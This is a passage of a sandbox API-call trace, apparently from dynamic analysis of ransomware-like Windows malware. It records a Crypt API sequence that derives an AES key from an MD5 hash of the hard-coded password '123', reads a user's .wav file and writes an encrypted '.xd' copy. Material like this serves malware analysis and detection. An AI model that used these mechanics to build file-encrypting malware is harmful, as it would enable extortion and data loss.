InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.268] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.269] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.269] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.269] CloseHandle (hObject=0x0) returned 0 [0063.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.269] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.269] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.269] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.269] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.269] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.269] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.269] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.269] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.270] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.270] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.270] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.270] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.270] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.270] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.270] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.270] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.270] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.270] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.270] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.272] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.272] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab2a8) returned 1 [0063.273] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.273] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.273] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.273] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.273] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.273] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.274] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.274] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.274] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.274] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.274] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.274] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.274] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.274] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.274] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.274] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.274] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.274] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.274] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.275] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.275] CryptCreateHash (in: hProv=0x17ab2a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.275] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.275] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.275] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.275] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.275] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621888, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.276] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.276] CryptHashData (hHash=0x164c6b0, pbData=0x16296b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.276] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.276] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.276] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.276] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.276] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.276] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.276] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.276] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.276] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.276] CryptDeriveKey (in: hProv=0x17ab2a8, Algid=0x6610, hBaseData=0x164c6b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c870) returned 1 [0063.276] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.277] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.277] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.277] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.277] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.277] CryptDestroyHash (hHash=0x164c6b0) returned 1 [0063.277] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.277] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.278] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\jc32xxwfgqcsi.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.278] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.278] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.278] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0063.279] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\jc32xXWfgqCSi.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\jc32xxwfgqcsi.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.281] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.281] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x68c6, lpOverlapped=0x0) returned 1 [0063.282] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.285] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.285] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.285] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.285] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.285] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.285] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.285] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.285] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.285] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.285] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.285] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.286] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.286] CryptGetKeyParam (in: hKey=0x164c870, dwParam=0x7, pbData=0x16296e0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16296e0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.286] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.286] PeekMessageW (in: 